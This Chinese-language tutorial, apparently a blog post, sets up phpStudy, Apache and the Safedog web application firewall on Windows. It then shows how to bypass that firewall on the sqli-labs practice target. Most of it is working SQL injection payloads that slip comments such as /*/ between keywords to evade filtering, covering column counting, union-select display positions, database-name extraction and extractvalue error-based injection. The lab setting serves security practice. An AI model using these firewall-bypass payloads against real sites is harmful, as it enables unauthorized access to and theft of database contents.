一、环境搭建
1、下载phpstudy
2、查看服务
使用cmd输入以下命令
Services.msc
没有服务进入3步骤,有则跳过
3、创建系统服务
找到phpstudy下的apache服务:
C:\phpstudy_pro\Extensions\Apache2.4.39\bin
以管理员身份打开cmd
到达指定目录
使用命令创建
Httpd.exe -k install -n Apache2.4.39
刷新查看
4、安装安全狗
接下来使用的是sqli-labs靶场进行演示
5、测试
随便输入一个没有变形的语句,被拦截了
二、安全狗绕过
1、联合注入
①位数
按照常规写法发现被拦截了,那么我们测试一下单个字母是否拦截
可以发现,单个字母并没有拦截,那么我们尝试在组合之间加入许多注释
但并不是加了注释就可以绕过的
?id=1'order/*/*/by/**/1--+
绕过后,可以获得位数为3
②显示位
?id=1'union/*//--/*/select 1,2,3--+
③数据库名
测试发现database()被拦截了
按照上面尝试在database和()之间添加注释
?id=1'union/*//--//--/*/select 1,database/*/11111*/(),3--+
2、报错注入
这里使用extractvalue函数引发报错
测试发现extractvalue()被拦截了
按照上面尝试在extractvalue和()之间添加注释
绕过extractvalue()
绕过database()
?id=1'and extractvalue/*/676*/(1,concat(0x7e,database/*/387*/(),x07e))--+
同理进行后续操作